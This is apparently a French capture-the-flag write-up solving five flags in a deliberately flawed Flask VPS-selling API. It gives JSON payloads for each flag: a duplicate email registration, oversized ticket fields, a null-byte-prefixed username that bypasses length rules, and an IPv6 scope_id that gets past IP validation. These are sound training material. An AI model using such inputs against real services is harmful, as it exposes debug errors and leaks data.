Projet Web final

Ce challenge est composé de 5 flag de niveau croissant:

- 3 EASY
- 1 MEDIUM
- 1 HARD

Auteurs :

`Senkei, Hokanosekai`

Description:

Cette année on a du faire un projet complet avec des bases de données, un système connection alors on a décidé de faire une api flask pour vendre nos vps fournis par nos enseignants comme ça en plus de faire un bon projet on gagne de l'argent 😄

On est pas sur d'avoir suivi les bonnes pratiques mais on a essayé de faire de notre mieux, par contre on a pas fait de front car on est pas des artistes.

Si vous pouvez nous donner votre avis sur notre projet on serait super content ! Et si vous trouvez des bugs on est preneur aussi !

https://projet-final.univhackon.fr

Projet-web-final.zip

Tous les flags de notre projet sont dans la source. (allez les voir !)

Flag : `UHOCTF{Fake_flag_1}`

Solutions :

Dans `server.py` on s'appercoit que le serveur flask est lancé en mode debug, on pourra donc récupérer les erreurs et le code de la fonction et ses commentaires associé.

Flag 1

Pour le premier Flag, on le trouve dans la route `/api/register`, dans le fichier `login_routes.py` :

Dans cette fonction le champ de l'email n'est pas vérifié, en cas de duplication une erreur nous renverra le premier flag.

Il suffit donc de s'enregistrer une première fois avec un login valide puis de modifier seulement le username.

```
{
  {
  "email": "fake@gmail.com",
  "username": "aaaaaa",
  "password": "aaaaaa",
  "izly_wallet": "0xaaaaaaaaaaaaaaaa",
  }
}
200 OK

{
  {
  "email": "fake@gmail.com",
  "username": "bbbbbb",
  "password": "bbbbbb",
  "izly_wallet": "0xbbbbbbbbbbbb",
  }
}

500 Internal Server Error
```

FLAG : `UHOCTF{V3rIfy_Th3_Dupss}`

Flag 2

Pour le deuxième Flag, on le trouve dans la route `/api/tickets`, dans le fichier `ticket_routes.py` :

Après analyse du fichier de la BDD, on peut voir que le champ `description` de la table Ticket est limité à 2048 charactères. De plus aucune vérification sur la taille de la description n'est faite donc il suffit de passer une description de plus de 2048 charactères pour avoir une erreur et donc le flag.

```
{
  "description":
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
}
```

FLAG : `UHOCTF{L1m1t_Th3_D3sc}`

Flag 3

Pour le troisième Flag, on le trouve dans la route `/api/tickets/<int:ticket_id>`, dans le fichier `ticket_routes.py` :

On retrouve la même mécanique que le Flag précedent mais cette fois-ci c'est le champ `message`.

Il suffit d'utiliser la route pour mettre a jour un ticket précedement créée avec un message de plus de 2048 charactères.

```
{
  "message":
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
}
```

FLAG : `UHOCTF{YoU_N3vEr_Learn_Fr0m_Y0ur_M1st4kes}`

Flag 4

Pour le quatrième Flag, on le trouve dans la route `/api/login`, dans le fichier `login_routes.py` :

```
  resp = make_response(jsonify({'message': 'Connexion réussie', 'flag':
('UHOCTF{Fake_flag_4}' if len(username) < 4 else 'Nope')}), 200)
```

Pour l'obtenir on doit se connecter avec un username de moins de 4 charactères.

```
{
  "username": "aaa",
  "password": "aaaaaa"
}
```

Or on ne peut pas s'enregistrer avec un username de moins de 4 charactères il faut donc trouver un moyen de contourner la sécurité du register car aucune régle ne s'applique lors de la connection.

On peut utiliser des charactères unicode car il n'y a pas de vérification sur le type de charactère utilisé.

On utilise le \u0000 (qui est égal à null) pour pouvoir s'enregistrer

```
{
  "username": "\u0000aaa",
  "password": "aaaaaa"
}
```

FLAG : `UHOCTF{Unicode_1s_D4ng3r0us}`

Flag 5

Pour le dernier Flag, on le retrouve dans la route `/api/vps` dans le fichier `account_routes.py` :

Dans la BDD le champ ip est de la forme :

```
IP_Address VARCHAR(256) NOT NULL,
```

Pour autant une vérification est faite sur la validité de l'adresse ip donné par l'utilisateur

```
    # valider l'adresse IP
    try:
        ipaddress.ip_address(ip_address)
    except ValueError:
        return jsonify({'message': 'Adresse IP non valide'}), 400
```

Pour contourner cette vérification on peut ruser en utilisant une propriété spécifique de l'IPV6, son scope_id qui peut être arbitrairement défini en délimitant l'ip%scope

> https://docs.oracle.com/javase/7/docs/api/java/net/Inet6Address.html

Le payload final ressemble à :

```
{
  "ip_address":
"2001:db8:85a3:8d3:1319:8a2e:370:7348%aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
}
```

Flag : `UHOCTF{N3ver_Trust_Scop3_IDs}`